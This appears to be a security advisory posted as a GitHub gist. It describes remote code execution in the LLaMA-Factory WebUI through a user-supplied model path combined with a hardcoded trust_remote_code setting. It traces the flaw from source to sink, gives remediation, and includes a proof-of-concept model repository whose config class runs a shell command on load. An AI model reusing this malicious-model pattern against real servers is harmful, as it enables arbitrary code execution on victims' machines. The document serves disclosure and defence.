Skip to content

Instantly share code, notes, and snippets.

@henrrrychau
Last active June 30, 2026 06:33
Show Gist options
  • Select an option

  • Save henrrrychau/08d76ec672f42136bbc1449c4f2973f8 to your computer and use it in GitHub Desktop.

Select an option

Save henrrrychau/08d76ec672f42136bbc1449c4f2973f8 to your computer and use it in GitHub Desktop.
Remote Code Execution (RCE) via Model Path Injection in LLaMA-Factory WebUI <= 0.9.4

Hardcoded trust_remote_code leading to Remote Code Execution (RCE) via Model Path Injection in LLaMA-Factory WebUI <= 0.9.5

Vulnerability Discoverer: h3nrrrych4u

Affected Version: <= v0.9.5

CVSS 3.0 Score: 9.8 (Critical) - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Software: LLaMA-Factory

Vulnerability Files:

  • src/llamafactory/webui/chatter.py
  • src/llamafactory/webui/runner.py

Summary:

LLaMA-Factory WebUI contains a remote code execution (RCE) vulnerability due to improper input validation in the "Model path" field (displayed as "Model path" or "模型路径" in the UI). The application allows users to specify an arbitrary Hugging Face model identifier or local path. Due to the hardcoded trust_remote_code setting during model initialization, an attacker can force the server to download and execute malicious Python code from a public Hugging Face Hub repository by simply providing a malicious model path. There has no checkbox or config file to turn off this feature and hence this affects both the Chat and Training interfaces.

Description:

Technical Analysis: Source-to-Sink Propagation

Source The vulnerability originates from user input in the "Model path" field within the Web UI.

  • File: src/llamafactory/webui/chatter.py
  • Code:
    # Lines 102-103
    get = lambda elem_id: data[self.manager.get_elem_by_id(elem_id)]
    lang, model_name, model_path = get("top.lang"), get("top.model_name"), get("top.model_path")
    The variable model_path is directly assigned the value from top.model_path, making it tainted data controlled by the user.

Propagation: The tainted model_path propagates through the application logic to the model initialization parameters.

  1. Construction of args Dictionary:

    • File: src/llamafactory/webui/chatter.py
    • Code (Lines 128-140):
      args = dict(
          model_name_or_path=model_path, # <--- Tainted: Controlled by attacker
          cache_dir=user_config.get("cache_dir", None),
          # ...
          trust_remote_code=True,        # <--- Critical: Hardcoded to True
      )
    • The args dictionary is constructed using the tainted model_path.
    • Critically, the trust_remote_code parameter is hardcoded to True.
  2. Passing to ChatModel:

    • File: src/llamafactory/webui/chatter.py
    • Code (Line 158):
      super().__init__(args) # <--- Tainted args passed to parent class
    • The WebChatModel passes the tainted args to the parent ChatModel class.
  3. Argument Parsing:

    • File: src/llamafactory/chat/chat_model.py
    • Code (Line 48):
      # The args dictionary is converted into model_args
      model_args, data_args, finetuning_args, generating_args = get_infer_args(args)
    • The args dictionary is converted into model_args. The property model_args.model_name_or_path retains the tainted value, and model_args.trust_remote_code remains True.
  4. Engine Initialization:

    • File: src/llamafactory/chat/chat_model.py
    • Code (Line 53):
      if model_args.infer_backend == EngineName.HF:
          from .hf_engine import HuggingfaceEngine
          # model_args (containing trust_remote_code=True) is passed to engine
          self.engine: BaseEngine = HuggingfaceEngine(model_args, data_args, finetuning_args, generating_args)
    • The model_args object is passed to the HuggingfaceEngine.

Sink: The tainted path reaches the transformers library functions, which act as the sink. The trust_remote_code parameter is explicitly extracted from model_args and passed via the init_kwargs dictionary.

  • Helper Function (Argument Preparation): src/llamafactory/model/loader.py The _get_init_kwargs function extracts trust_remote_code from model_args.

    # Line 57
    def _get_init_kwargs(model_args: "ModelArguments") -> dict[str, Any]:
        # ...
        return {
            "trust_remote_code": model_args.trust_remote_code, # <--- Critical: Value is True from WebUI
            "cache_dir": model_args.cache_dir,
            "revision": model_args.model_revision,
            "token": model_args.hf_hub_token,
        }
  • Sink 1 (Tokenizer Loading): src/llamafactory/model/loader.py The init_kwargs dictionary (containing trust_remote_code=True) is unpacked into AutoTokenizer.from_pretrained.

    # Line 72
    def load_tokenizer(model_args: "ModelArguments") -> "TokenizerModule":
        # ...
        init_kwargs = _get_init_kwargs(model_args) # <--- init_kwargs gets trust_remote_code=True
        try:
            # Line 79
            tokenizer = AutoTokenizer.from_pretrained(
                model_args.model_name_or_path, # <--- Tainted Path
                use_fast=model_args.use_fast_tokenizer,
                split_special_tokens=model_args.split_special_tokens,
                padding_side="right",
                **init_kwargs, # <--- Injection Point: Unpacks trust_remote_code=True
            )
  • Sink 2 (Model Loading): src/llamafactory/model/loader.py Similarly, init_kwargs is used in load_model.

    # Line 132
    def load_model(...) -> "PreTrainedModel":
        # ...
        init_kwargs = _get_init_kwargs(model_args)
        # ...
        # Line 178
        model = load_class.from_pretrained(**init_kwargs) # <--- Injection Point: Unpacks trust_remote_code=True

Why this leads to RCE

The combination of a user-controlled model_name_or_path and trust_remote_code=True is the root cause. The trust_remote_code=True parameter instructs the Hugging Face transformers library to download and execute custom Python code located in the model's repository.

An attacker can exploit this by:

  1. Creating a Hugging Face repository (or a local directory).
  2. Placing malicious Python code in the model configuration files.
  3. Entering the repository ID (e.g., attacker/malicious-model) into the "Model path" field of the LLaMA-Factory Web UI.

Upon loading the model, the server will fetch the malicious script and execute it with the privileges of the server process, resulting in Remote Code Execution.

Proof of Concept:

  1. Prepare Malicious Model:

    • Create the following files in a directory:

    config.json:

    {
      "architectures": [
        "PoCModel"
      ],
      "model_type": "poc_model",
      "auto_map": {
        "AutoConfig": "configuration_poc.PoCConfig",
        "AutoModel": "modeling_poc.PoCModel",
        "AutoModelForCausalLM": "modeling_poc.PoCModel"
      }
    }

    configuration_poc.py (The payload trigger):

    import os
    from transformers import PretrainedConfig
    
    class PoCConfig(PretrainedConfig):
        model_type = "poc_model"
    
        def __init__(self, **kwargs):
            super().__init__(**kwargs)
            # ========================================================
            # [PoC Payload] Pop up Calculator
            # ========================================================
            print("[PoC Verification]: Attempting to pop up Calculator...")
            
            try:
                if os.name == 'nt':
                    os.system("calc")
                else:
                    # Fallback for non-Windows (Mac/Linux)
                    os.system("open -a Calculator || gnome-calculator || xcalc")
                
                print("[PoC Success] Calculator command executed.")
            except Exception as e:
                print(f"[PoC Failed] Error executing command: {e}")

    modeling_poc.py (Note: Ensure this filename matches auto_map in config.json. The provided file model_poc.py should be renamed or config.json updated):

    from transformers import PreTrainedModel
    from .configuration_poc import PoCConfig
    import torch.nn as nn
    
    class PoCModel(PreTrainedModel):
        config_class = PoCConfig
        def __init__(self, config):
            super().__init__(config)
            self.layer = nn.Linear(1, 1) # Arbitrary layer
        def forward(self, *args, **kwargs):
            return self.layer(args[0])
  2. Create a public Hugging Face Hub repository and upload the files. In this PoC, a prepared HFHub repo https://huggingface.co/h3nrrryhk/llmfcty-poc/tree/main is used as the example.

  3. Access WebUI:

    • Open the LLaMA-Factory WebUI (e.g., http://localhost:7860).
    • Navigate to the Chat or Train tab.
  4. To Remotely Exploit via Hugging Face: Inject Payload:

    • Locate the "Model path" input field (usually the first input box).
    • Enter the HuggingFace path to the malicious model directory:
      h3nrrryhk/llmfcty-poc
      
      (Or if using Hugging Face Hub: attacker/rce-poc)
  5. Trigger Execution:

    • Click "Load Model" (in Chat tab) or "Start Training" (in Train tab).
  6. Verify Exploit:

    • Observe the server environment. If successful, the system Calculator application will launch, confirming arbitrary code execution.

Remediation:

To fix this vulnerability, the application should:

  1. Restrict Model Paths: Implement an allowlist of trusted model paths or repositories.
  2. Disable Trust Remote Code: Set trust_remote_code=False by default and only allow it to be enabled via a secure configuration or flag, not hardcoded.
  3. Input Validation: Sanitize the model_name_or_path input to ensure it conforms to expected patterns (though this is less effective than an allowlist).

Patch Example:

# src/llamafactory/webui/chatter.py

# ... inside load_model ...
# Disable trust_remote_code unless explicitly authorized (e.g. via env var)
trust_remote_code = os.getenv("TRUST_REMOTE_CODE", "false").lower() == "true"

args = dict(
    model_name_or_path=model_path,
    # ...
    trust_remote_code=trust_remote_code, 
)
@henrrrychau

Copy link
Copy Markdown
Author

PoC Code Collection

  • config.json
{
  "architectures": [
    "PoCModel"
  ],
  "model_type": "poc_model",
  "auto_map": {
    "AutoConfig": "configuration_poc.PoCConfig",
    "AutoModel": "modeling_poc.PoCModel",
    "AutoModelForCausalLM": "modeling_poc.PoCModel"
  }
}
  • configuration_poc.py
import os
from transformers import PretrainedConfig

class PoCConfig(PretrainedConfig):
    model_type = "poc_model"

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        # ========================================================
        # [PoC Payload] Pop up Calculator
        # ========================================================
        print("[PoC Verification]: Attempting to pop up Calculator...")
        
        try:
            if os.name == 'nt':
                os.system("calc")
            else:
                # Fallback for non-Windows (Mac/Linux)
                os.system("open -a Calculator || gnome-calculator || xcalc")
            
            print("[PoC Success] Calculator command executed.")
        except Exception as e:
            print(f"[PoC Failed] Error executing command: {e}")
  • model_poc.py
from transformers import PreTrainedModel
from .configuration_poc import PoCConfig
import torch.nn as nn

class PoCModel(PreTrainedModel):
    config_class = PoCConfig
    def __init__(self, config):
        super().__init__(config)
        self.layer = nn.Linear(1, 1) # Arbitrary layer
    def forward(self, *args, **kwargs):
        return self.layer(args[0])

@henrrrychau

Copy link
Copy Markdown
Author

Updated: The latest version of 0.9.5 has not been patched yet as well.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment